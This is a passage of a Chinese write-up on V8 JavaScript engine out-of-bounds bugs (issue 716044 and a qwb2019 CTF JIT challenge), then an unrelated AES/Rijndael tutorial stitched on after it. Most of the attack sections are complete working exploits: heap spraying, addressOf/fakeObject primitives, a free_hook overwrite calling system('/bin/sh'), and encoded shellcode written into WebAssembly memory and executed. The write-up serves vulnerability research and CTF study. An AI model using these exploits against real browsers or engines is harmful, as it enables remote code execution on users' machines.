var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64_l(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true);
}
function u64_h(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(4,true);
}
let obj = {};
var spray_size = 0x1000;
var arr = new Array(spray_size);
let oobArray = [];
//转为double array
oobArray[0] = 1.1;
oobArray.length = 0;
let maxSize = 1024*8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0x1;
//堆喷
for (var i=0;i<spray_size;i++) {
arr[i] = new ArrayBuffer(0x1234);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
var backing_store_h = u64_h(oobArray[5]);
var backing_stroe_l = u64_l(oobArray[5]);
print(backing_store_h.toString(16) + backing_stroe_l.toString(16));
//修改ArrayBuffer的byteLength
oobArray[4] = p64f(0,0x666666);
var oob_buf;
//寻找被成功修改的那个ArrayBuffer
for (var i=0;i<spray_size;i++) {
if (arr[i].byteLength != 0x1234) {
oob_buf = arr[i];
print("found!!" + arr[i].byteLength);
}
}
if (oob_buf == null) {
console.log("error!");
}
var oob_dv = new DataView(oob_buf);
function read64(addr_h,addr_l) {
oobArray[5] = p64f(addr_l,addr_h);
return oob_dv.getFloat64(0,true);
}
function write64(addr_h,addr_l,value) {
oobArray[5] = p64f(addr_l,addr_h);
oob_dv.setFloat64(0,value,true);
}
var d = read64(backing_store_h,backing_stroe_l + 0x1820);
var elf_base_h = u64_h(d);
var elf_base_l = u64_l(d) - 0xb83338;
d = read64(elf_base_h,elf_base_l + 0xB9A118);
var libc_base_h = u64_h(d);
var libc_base_l = u64_l(d) - 0x21ab0;
var system_l = libc_base_l + 0x4f4e0;
var free_hook_l = libc_base_l + 0x3ed8e8;
console.log("[+]libc_base=" + libc_base_h.toString(16) + libc_base_l.toString(16));
console.log("[+]system=" + libc_base_h.toString(16) + system_l.toString(16));
console.log("[+]free_hook=" + libc_base_h.toString(16) + free_hook_l.toString(16));
//需要执行的命令
var shell_buf = new ArrayBuffer(0x30);
var str = "/bin/sh\x00";
var bufView = new Uint8Array(shell_buf);
for (var i=0, strLen=str.length; i<strLen; i++) {
bufView[i] = str.charCodeAt(i);
}
//写free_hook
write64(libc_base_h,free_hook_l,p64f(system_l,libc_base_h));
### 0x03.02 issue 716044
#### patch分析
diff --git a/src/builtins/builtins-array-gen.cc b/src/builtins/builtins-array-gen.cc
index 32dd9b5..316c0b7 100644
--- a/src/builtins/builtins-array-gen.cc
+++ b/src/builtins/builtins-array-gen.cc
@@ -15,13 +15,11 @@
: CodeStubAssembler(state),
k_(this, MachineRepresentation::kTagged),
a_(this, MachineRepresentation::kTagged),
- to_(this, MachineRepresentation::kTagged, SmiConstant(0)) {}
- - typedef std::function<Node*(ArrayBuiltinCodeStubAssembler* masm)>
- BuiltinResultGenerator;
+ to_(this, MachineRepresentation::kTagged, SmiConstant(0)),
+ fully_spec_compliant_(this, {&k_, &a_, &to_}) {}
typedef std::function<void(ArrayBuiltinCodeStubAssembler* masm)>
- BuiltinResultIndexInitializer;
+ BuiltinResultGenerator;
typedef std::function<Node*(ArrayBuiltinCodeStubAssembler* masm,
Node* k_value, Node* k)>
@@ -30,7 +28,7 @@
typedef std::function<void(ArrayBuiltinCodeStubAssembler* masm)>
PostLoopAction;
- Node* ForEachResultGenerator() { return UndefinedConstant(); }
+ void ForEachResultGenerator() { a_.Bind(UndefinedConstant()); }
Node* ForEachProcessor(Node* k_value, Node* k) {
CallJS(CodeFactory::Call(isolate()), context(), callbackfn(), this_arg(),
@@ -38,7 +36,7 @@
return a();
}
- Node* SomeResultGenerator() { return FalseConstant(); }
+ void SomeResultGenerator() { a_.Bind(FalseConstant()); }
Node* SomeProcessor(Node* k_value, Node* k) {
Node* value = CallJS(CodeFactory::Call(isolate()), context(), callbackfn(),
@@ -51,7 +49,7 @@
return a();
}
- Node* EveryResultGenerator() { return TrueConstant(); }
+ void EveryResultGenerator() { a_.Bind(TrueConstant()); }
Node* EveryProcessor(Node* k_value, Node* k) {
Node* value = CallJS(CodeFactory::Call(isolate()), context(), callbackfn(),
@@ -64,7 +62,7 @@
return a();
}
- Node* ReduceResultGenerator() { return this_arg(); }
+ void ReduceResultGenerator() { return a_.Bind(this_arg()); }
Node* ReduceProcessor(Node* k_value, Node* k) {
VARIABLE(result, MachineRepresentation::kTagged);
@@ -91,9 +89,9 @@
BIND(&ok);
}
- Node* FilterResultGenerator() {
+ void FilterResultGenerator() {
// 7. Let A be ArraySpeciesCreate(O, 0).
- return ArraySpeciesCreate(context(), o(), SmiConstant(0));
+ a_.Bind(ArraySpeciesCreate(context(), o(), SmiConstant(0)));
}
Node* FilterProcessor(Node* k_value, Node* k) {
@@ -162,13 +160,53 @@
return a();
}
- Node* MapResultGenerator() {
- // 5. Let A be ? ArraySpeciesCreate(O, len).
- return ArraySpeciesCreate(context(), o(), len_);
+ void MapResultGenerator() {
+ Label runtime(this), done(this, {&a_});
+ GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), &runtime);
+ Node* o_map = LoadMap(o());
+ Node* const initial_array_prototype = LoadContextElement(
+ LoadNativeContext(context()), Context::INITIAL_ARRAY_PROTOTYPE_INDEX);
+ Node* proto = LoadMapPrototype(o_map);
+ GotoIf(WordNotEqual(proto, initial_array_prototype), &runtime);
+
+ Node* species_protector = SpeciesProtectorConstant();
+ Node* value = LoadObjectField(species_protector, Cell::kValueOffset);
+ Node* const protector_invalid = SmiConstant(Isolate::kProtectorInvalid);
+ GotoIf(WordEqual(value, protector_invalid), &runtime);
+
+ Node* const initial_array_constructor = LoadContextElement(
+ LoadNativeContext(context()), Context::ARRAY_FUNCTION_INDEX);
+ a_.Bind(ConstructJS(CodeFactory::Construct(isolate()), context(),
+ initial_array_constructor, len_));
+ Goto(&done);
+
+ BIND(&runtime);
+ {
+ // 5. Let A be ? ArraySpeciesCreate(O, len).
+ Node* constructor =
+ CallRuntime(Runtime::kArraySpeciesConstructor, context(), o());
+ a_.Bind(ConstructJS(CodeFactory::Construct(isolate()), context(),
+ constructor, len_));
+ Goto(&fully_spec_compliant_);
+ }
+ BIND(&done);
}
- Node* MapProcessor(Node* k_value, Node* k) {
- // i. Let kValue be ? Get(O, Pk). Performed by the caller of MapProcessor.
+ Node* SpecCompliantMapProcessor(Node* k_value, Node* k) {
+ // i. Let kValue be ? Get(O, Pk). Performed by the caller of
+ // SpecCompliantMapProcessor.
+ // ii. Let mappedValue be ? Call(callbackfn, T, kValue, k, O).
+ Node* mappedValue = CallJS(CodeFactory::Call(isolate()), context(),
+ callbackfn(), this_arg(), k_value, k, o());
+
+ // iii. Perform ? CreateDataPropertyOrThrow(A, Pk, mappedValue).
+ CallRuntime(Runtime::kCreateDataProperty, context(), a(), k, mappedValue);
+ return a();
+ }
+
+ Node* FastMapProcessor(Node* k_value, Node* k) {
+ // i. Let kValue be ? Get(O, Pk). Performed by the caller of
+ // FastMapProcessor.
// ii. Let mappedValue be ? Call(callbackfn, T, kValue, k, O).
Node* mappedValue = CallJS(CodeFactory::Call(isolate()), context(),
callbackfn(), this_arg(), k_value, k, o());
@@ -268,8 +306,7 @@
const CallResultProcessor& processor, const PostLoopAction& action,
const Callable& slow_case_continuation,
ForEachDirection direction = ForEachDirection::kForward) {
- Label non_array(this), slow(this, {&k_, &a_, &to_}),
- array_changes(this, {&k_, &a_, &to_});
+ Label non_array(this), array_changes(this, {&k_, &a_, &to_});
// TODO(danno): Seriously? Do we really need to throw the exact error
// message on null and undefined so that the webkit tests pass?
@@ -336,11 +373,11 @@
k_.Bind(NumberDec(len()));
}
- a_.Bind(generator(this));
+ generator(this);
- HandleFastElements(processor, action, &slow, direction);
+ HandleFastElements(processor, action, &fully_spec_compliant_, direction);
- BIND(&slow);
+ BIND(&fully_spec_compliant_);
Node* result =
CallStub(slow_case_continuation, context(), receiver(), callbackfn(),
@@ -440,7 +477,7 @@
} else {
k_.Bind(NumberDec(len()));
}
- a_.Bind(generator(this));
+ generator(this);
Node* elements_type = LoadInstanceType(LoadElements(o_));
Switch(elements_type, &unexpected_instance_type, instance_types.data(),
label_ptrs.data(), labels.size());
@@ -690,6 +727,7 @@
Variable k_;
Variable a_;
Variable to_;
+ Label fully_spec_compliant_;
};
TF_BUILTIN(FastArrayPush, CodeStubAssembler) {
@@ -1168,7 +1206,7 @@
len, to);
GenerateIteratingArrayBuiltinLoopContinuation(
- &ArrayBuiltinCodeStubAssembler::MapProcessor,
+ &ArrayBuiltinCodeStubAssembler::SpecCompliantMapProcessor,
&ArrayBuiltinCodeStubAssembler::NullPostLoopAction);
}
@@ -1187,7 +1225,7 @@
GenerateIteratingArrayBuiltinBody(
"Array.prototype.map", &ArrayBuiltinCodeStubAssembler::MapResultGenerator,
- &ArrayBuiltinCodeStubAssembler::MapProcessor,
+ &ArrayBuiltinCodeStubAssembler::FastMapProcessor,
&ArrayBuiltinCodeStubAssembler::NullPostLoopAction,
Builtins::CallableFor(isolate(), Builtins::kArrayMapLoopContinuation));
}
diff --git a/src/code-stub-assembler.h b/src/code-stub-assembler.h
index dbdd5f0..ba35e25 100644
--- a/src/code-stub-assembler.h
+++ b/src/code-stub-assembler.h
@@ -51,7 +51,8 @@
V(Tuple2Map, Tuple2Map) \
V(Tuple3Map, Tuple3Map) \
V(UndefinedValue, Undefined) \
- V(WeakCellMap, WeakCellMap)
+ V(WeakCellMap, WeakCellMap) \
+ V(SpeciesProtector, SpeciesProtector)
// Provides JavaScript-specific "macro-assembler" functionality on top of the
// CodeAssembler. By factoring the JavaScript-isms out of the CodeAssembler,
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index 60fc9e6..25bc972 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -65,6 +65,7 @@
# Too slow in debug mode for validation of elements.
'regress/regress-430201': [PASS, ['mode == debug', SKIP]],
'regress/regress-430201b': [PASS, ['mode == debug', SKIP]],
+ 'regress/regress-716044': [PASS, ['mode == debug', SKIP]],
##############################################################################
# Too slow in debug mode for GC stress mode.
diff --git a/test/mjsunit/regress/regress-716044.js b/test/mjsunit/regress/regress-716044.js
new file mode 100644
index 0000000..264424c
--- /dev/null
+++ b/test/mjsunit/regress/regress-716044.js
@@ -0,0 +1,25 @@
+// Copyright 2017 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --verify-heap
+
+class Array1 extends Array {
+ constructor(len) {
+ super(1);
+ }
+};
+
+class MyArray extends Array {
+ static get [Symbol.species]() {
+ return Array1;
+ }
+}
+
+a = new MyArray();
+
+for (var i = 0; i < 100000; i++) {
+ a.push(1);
+}
+
+a.map(function(x) { return 42; });
这题与前一题类似，也是一个真实的v8历史漏洞，代号为`716044`。从patch中，我们看到其中`MapResultGenerator`函数的变化较大，我们查找其的上层调用，发现其在`TF_BUILTIN(ArrayMap,
ArrayBuiltinCodeStubAssembler)`函数中被调用
GenerateIteratingArrayBuiltinBody(
"Array.prototype.map", &ArrayBuiltinCodeStubAssembler::MapResultGenerator,
&ArrayBuiltinCodeStubAssembler::MapProcessor,
&ArrayBuiltinCodeStubAssembler::NullPostLoopAction,
Builtins::CallableFor(isolate(), Builtins::kArrayMapLoopContinuation));
可以知道这是`Array.prototype.map`函数的具体实现，该函数的作用是将键值进行映射
var a = [1,2,3,4];
print(a.map(function(x) { return x+1; }));
其输出为
root@ubuntu:~/Desktop/issue_716044/x64.release# ./d8 t.js
2,3,4,5
即该函数接收一个函数对象，作为映射的变换函数，映射的值来源于调用数组对象。继续分析GenerateIteratingArrayBuiltinBody函数
void GenerateIteratingArrayBuiltinBody(
const char* name, const BuiltinResultGenerator& generator,
const CallResultProcessor& processor, const PostLoopAction& action,
const Callable& slow_case_continuation,
ForEachDirection direction = ForEachDirection::kForward) {
Label non_array(this), slow(this, {&k_, &a_, &to_}),
array_changes(this, {&k_, &a_, &to_});
// TODO(danno): Seriously? Do we really need to throw the exact error
// message on null and undefined so that the webkit tests pass?
Label throw_null_undefined_exception(this, Label::kDeferred);
GotoIf(WordEqual(receiver(), NullConstant()),
&throw_null_undefined_exception);
GotoIf(WordEqual(receiver(), UndefinedConstant()),
&throw_null_undefined_exception);
// By the book: taken directly from the ECMAScript 2015 specification
// 1. Let O be ToObject(this value).
// 2. ReturnIfAbrupt(O)
//o_是原数组对象
o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());
// 3. Let len be ToLength(Get(O, "length")).
// 4. ReturnIfAbrupt(len).
VARIABLE(merged_length, MachineRepresentation::kTagged);
Label has_length(this, &merged_length), not_js_array(this);
GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), ¬_js_array);
merged_length.Bind(LoadJSArrayLength(o()));
Goto(&has_length);
BIND(¬_js_array);
Node* len_property =
GetProperty(context(), o(), isolate()->factory()->length_string());
merged_length.Bind(
CallStub(CodeFactory::ToLength(isolate()), context(), len_property));
Goto(&has_length);
BIND(&has_length);
//len值为原数组的长度
len_ = merged_length.value();
// 5. If IsCallable(callbackfn) is false, throw a TypeError exception.
Label type_exception(this, Label::kDeferred);
Label done(this);
GotoIf(TaggedIsSmi(callbackfn()), &type_exception);
Branch(IsCallableMap(LoadMap(callbackfn())), &done, &type_exception);
BIND(&throw_null_undefined_exception);
{
CallRuntime(
Runtime::kThrowTypeError, context(),
SmiConstant(MessageTemplate::kCalledOnNullOrUndefined),
HeapConstant(isolate()->factory()->NewStringFromAsciiChecked(name)));
Unreachable();
}
BIND(&type_exception);
{
CallRuntime(Runtime::kThrowTypeError, context(),
SmiConstant(MessageTemplate::kCalledNonCallable),
callbackfn());
Unreachable();
}
BIND(&done);
// 6. If thisArg was supplied, let T be thisArg; else let T be undefined.
// [Already done by the arguments adapter]
if (direction == ForEachDirection::kForward) {
// 7. Let k be 0.
k_.Bind(SmiConstant(0));
} else {
k_.Bind(NumberDec(len()));
}
//调用MapResultGenerator函数创建用于保存结果的数组
a_.Bind(generator(this));
HandleFastElements(processor, action, &slow, direction);
BIND(&slow);
//调用映射函数生成映射，并将结果保存到a_中
Node* result =
CallStub(slow_case_continuation, context(), receiver(), callbackfn(),
this_arg(), a_.value(), o(), k_.value(), len(), to_.value());
ReturnFromBuiltin(result);
}
而`MapResultGenerator`函数调用了`ArraySpeciesCreate`，继续跟踪
Node* MapResultGenerator() {
// 5. Let A be ? ArraySpeciesCreate(O, len).
return ArraySpeciesCreate(context(), o(), len_);
}
而`ArraySpeciesCreate`函数如下
Node* CodeStubAssembler::ArraySpeciesCreate(Node* context, Node* originalArray,
Node* len) {
// TODO(mvstanton): Install a fast path as well, which avoids the runtime
// call.
Node* constructor =
CallRuntime(Runtime::kArraySpeciesConstructor, context, originalArray);
return ConstructJS(CodeFactory::Construct(isolate()), context, constructor,
len);
}
回调了js层的SpeciesConstructor函数，目的是为了调用合适的构造函数，比如如下
class MyArray extends Array {
static get [Symbol.species]() {
return Array;
}
}
a = new MyArray(1.1,2.2);
var b = a.map(function(x) {return x+1});
%DebugPrint(b);
其中
static get [Symbol.species]()
是固定写法，该函数返回一个类型，那么下一步回调结束，程序就会从Array类里调用构造函数，从而创建了一个Array的对象，假如代码改为如下
class Array1 extends Array {
constructor(len) {
print("len=" + len);
super(len);
}
};
class MyArray extends Array {
static get [Symbol.species]() {
return Array1;
}
}
a = new MyArray(1.1,2.2);
var b = a.map(function(x) {return x+1});
%DebugPrint(b);
由于`static get
[Symbol.species]()`返回了Array1，因此map时会从Array1里调用构造函数，此时，我们可以控制`super()`函数里的参数，如下
lass Array1 extends Array {
constructor(len) {
super(1);
}
};
class MyArray extends Array {
static get [Symbol.species]() {
return Array1;
}
}
a = new MyArray(1.1,2.2);
var b = a.map(function(x) {return x+1});
%DebugPrint(b);
但是最后映射结果的时候，仍然使用的之前的len，因此在进行函数映射时，由于没有检查用于存放结果的数组的长度，便发生了`越界写`。
Node* result =
CallStub(slow_case_continuation, context(), receiver(), callbackfn(),
this_arg(), a_.value(), o(), k_.value(), len(), to_.value());
Node* len() { return len_; }
#### 漏洞利用
既然能越界写，那么我们就越界覆盖后方Array对象的length，进而构造一个oob的arr，然后利用手法就和前面一样了。
exp
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64_l(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true);
}
function u64_h(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(4,true);
}
var obj = {};
var oob_double_arr;
var obj_arr;
var arb_buf;
class Array1 extends Array {
constructor(len) {
super(1); //将数组长度缩减为1
oob_double_arr = [1.1,2.2];
obj_arr = [obj];
arb_buf = new ArrayBuffer(0x10);
}
};
class MyArray extends Array {
static get [Symbol.species]() {
return Array1;
}
}
a = new MyArray();
//第8个位置将会写入数据
a[8] = 0x1;
//OOB
var b = a.map(function(x) { return 1000; });
var array_buffer_map = oob_double_arr[0xe];
function addressOf(obj) {
obj_arr[0] = obj;
var addr = oob_double_arr[0xd];
return addr;
}
function fakeObject(addr_h,addr_l) {
oob_double_arr[0xd] = p64f(addr_l,addr_h);
var mobj = obj_arr[0];
return mobj;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var d = addressOf(func);
var wasm_shellcode_ptr_addr_h = u64_h(d);
var wasm_shellcode_ptr_addr_l = u64_l(d) - 0x1 + 0x38;
oob_double_arr[0x11] = p64f(0,0xffff);
oob_double_arr[0x12] = p64f(wasm_shellcode_ptr_addr_l,wasm_shellcode_ptr_addr_h);
var adv = new DataView(arb_buf);
var wasm_shellcode_addr_l = adv.getUint32(0,true);
var wasm_shellcode_addr_h = adv.getUint32(4,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr_h.toString(16) + wasm_shellcode_addr_l.toString(16));
oob_double_arr[0x12] = p64f(wasm_shellcode_addr_l,wasm_shellcode_addr_h);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
## 0x04 JIT中的OOB
### 0x04.00 qwb2019-final-groupupjs
#### patch分析
diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
- return ReplaceBool(m.left().Value() < m.right().Value());
+ return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
该patch打在`MachineOperatorReducer::Reduce`函数中，可以推测这个漏洞与JIT编译器有关。
JIT中的IR优化流程如下
其中MachineOperatorReducer发生在Reduce阶段也就是图中`SimplifiedLoweringPhase`阶段，`MachineOperatorReducer::Reduce`会将IR中间代码中的一些可以在编译时就计算出的条件直接优化为一个布尔值。
而我们的patch正好打在了`IrOpcode::kInt32LessThan`分支，也就是如果IR代码中有`kInt32LessThan`的代码调用，将会出现问题，可以溢出一个单位。
而数组的length则是Int32类型，尝试写出如下的测试代码
function opt(x) {
var a = [1.1,2.2,3.3,4.4];
return a[4];
}
for (var i=0;i<0x20000;i++) {
opt(i);
}
print(opt(i));
发现并没有发生溢出，为了追踪优化过程，我们v8自带的`Turbolizer`来查看v8生成的IR图，执行
./d8 1.js --trace-turbo --trace-turbo-path ../
生成IR图，然后用`Turbolizer`打开查看
发现其在`LoadElimination
Phase`阶段，直接使用`CheckBounds`来进行检查了，也就是还未到达`SimplifiedLoweringPhase`阶段时，JIT就已经知道这个为越界的访问。因此，我们可以将4包裹在一个字典对象里，这样在`LoadElimination
Phase`阶段，JIT就不知道越界了，因为后面还要进行`Escape Analyse`才能知道值。
于是代码修改为这样
function opt(x) {
var a = [1.1,2.2,3.3,4.4];
var e = {a:4}
return a[e.a];
}
for (var i=0;i<0x20000;i++) {
opt(i);
}
print(opt(i));
可以发现输出了一个double值
root@ubuntu:~/Desktop/qwb2019-final-groupupjs/x64.debug# ./d8 1.js --trace-turbo --trace-turbo-path ../
Concurrent recompilation has been disabled for tracing.
--------------------------------------------------- Begin compiling method opt using TurboFan
--------------------------------------------------- Finished compiling method opt using TurboFan
--------------------------------------------------- Begin compiling method using TurboFan
--------------------------------------------------- Finished compiling method using TurboFan
-1.1885946300594787e+148
这回由于信息不足，不能在`LoadElimination Phase`阶段确定，因此仅检查了最大范围
然后在`SimplifiedLoweringPhase`阶段，用了`Uint32LessThan`，由于`Uint32LessThan`被patch过，因此结果为True，那么就可以越界访问了。
#### 漏洞利用
构造出一个oob数组后，改写数组对象的MAP，然后构造`addressOf`和`fakeObject`原语。
exp
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
var arr;
var obj_arr;
function opt(){
arr = [1.1,2.2,3.3,4.4];
obj_arr = [arr];
var e = {a:arr.length};
return arr[e.a];
}
for(var i=0; i < 0x20000; i++){
opt();
}
var double_element_map = opt();
//print(u64f(double_element_map).toString(16));
var obj_element_map = i2f64(u64f(double_element_map) + 0xa0n);
print((u64f(double_element_map)).toString(16));
function fakeObject_opt(addr) {
arr = [addr,2.2,3.3,4.4];
var e = {a:arr.length};
arr[e.a] = obj_element_map;
return arr;
}
//JIT优化
for (var i=0;i<0x20000;i++) {
fakeObject_opt(double_element_map);
}
function fakeObject(addr) {
return fakeObject_opt(i2f64(addr + 0x1n))[0];
}
//获得MAP对象
var double_element_map_obj = fakeObject_opt(double_element_map)[0];
//print(double_element_map_obj);
function addressOf_opt(obj) {
var arr = [obj,obj,obj,obj];
var e = {a:arr.length};
arr[e.a] = double_element_map_obj;
return arr;
}
//JIT优化
for (var i=0;i<0x20000;i++) {
addressOf_opt(buf);
}
function addressOf(obj) {
var v = addressOf_opt(obj)[0];
return u64f(v) - 0x1n;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var arb_buf = new ArrayBuffer(0x10);
var faker_addr = addressOf(faker);
print('faker_addr='+faker_addr.toString(16));
wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0x88n;
var element_addr = faker_addr - 0x60n;
print('element_addr=' + element_addr.toString(16));
//fake a FixedDoubleArray
faker[0] = double_element_map;
faker[1] = i2f64(0n);
faker[2] = i2f64(element_addr+0x1n);
faker[3] = i2f64(0x300000000000n);
var oob_arr = fakeObject(element_addr + 0x10n);
oob_arr[0x11] = i2f64(0x1000n); //修改ArrayBuffer的length
oob_arr[0x12] = i2f64(wasm_shellcode_ptr_addr);
var adv = new DataView(arb_buf);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
oob_arr[0x12] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//%SystemBreak();
//执行shellcode
func();
## 0x05 感想
oob类型的v8漏洞，其利用手法大多相似，不同点在于如何构造出oob数组。从一开始的直入主题到一般情况再到回调函数中的oob以及JIT中的oob，收获了许多知识。 | 社区文章 |
# 【技术分享】AES标准及Rijndael算法解析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[mattwu](http://bobao.360.cn/member/contribute?uid=399871538)
预估稿费：400RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**AES简介**
AES, Advanced Encryption Standard，其实是一套标准：[FIPS
197](http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf)，而我们所说的AES算法其实是Rijndael算法。
NIST (National INstitute of Standards and Technology)
在1997年9月12日公开征集更高效更安全的替代DES加密算法，第一轮共有15种算法入选，其中5种算法入围了决赛，分别是MARS，RC6，Rijndael，Serpent和Twofish。又经过3年的验证、评测及公众讨论之后Rijndael算法最终入选。
**Rijndael算法**
Rijndael算法是由比利时学者Joan Daemen和Vincent
Rijmen所提出的，算法的名字就由两位作者的名字组合而成。Rijndael的优势在于集安全性、性能、效率、可实现性及灵活性与一体。
**Joan Daemen和Vincent Rijmen**
**AES vs Rijndael**
Rijndael算法支持多种分组及密钥长度，介于128-256之间所有32的倍数均可，最小支持128位，最大256位，共25种组合。而AES标准支持的分组大小固定为128位，密钥长度有3种选择：128位、192位及256位。
**加密实例**
下面针对16字节的简单明文字串“0011223344….eeff”，分别用AES-128/AES-192及AES-256进行加密运算：
**AES-128**
密钥选用16字节长的简单字串：“00010203….0e0f” 来，上面的明文经过加密变换后成为"69c4e0d8….6089"。
plain : 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff
key : 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
cypher: 69 c4 e0 d8 6a 7b 04 30 d8 cd b7 80 70 b4 c5 5a
**AES-192**
plain : 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff
key : 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d .. .. .. 17
cypher: dd a9 7c a4 86 4c df e0 6e af 70 a0 ec 0d 71 91
**AES-256**
plain : 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff
key : 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d .. .. .. 17 .. .. .. 1f
cypher: 8e a2 b7 ca 51 67 45 bf ea fc 49 90 4b 49 60 89
**总体结构**
Rijndael算法是基于代换-置换网络（SPN，Substitution-permutation
network）的迭代算法。明文数据经过多轮次的转换后方能生成密文，每个轮次的转换操作由轮函数定义。轮函数任务就是根据密钥编排序列（即轮密码）对数据进行不同的代换及置换等操作。
图左侧为轮函数的流程，主要包含4种主要运算操作：字节代换(SubByte)、行移位(ShiftRow)、列混合(MixColumn)、轮密钥加(AddRoundKey)。图右侧为密钥编排方案，在Rijndael中称为密钥扩展算法（KeyExpansion）。
AES标准算法将128位的明文，以特定次序生成一个4×4的矩阵（每个元素是一个字节，8位），即初始状态（state），经由轮函数的迭代转换之后又将作为下一轮迭代的输入继续参与运算直到迭代结束。
Rijndael算法支持大于128位的明文分组，所以需要列数更多的矩阵来描述。Rijndael轮函数的运算是在特殊定义的有限域GF(256)上进行的。有限域（Finite
Field）又名伽罗瓦域（Galois
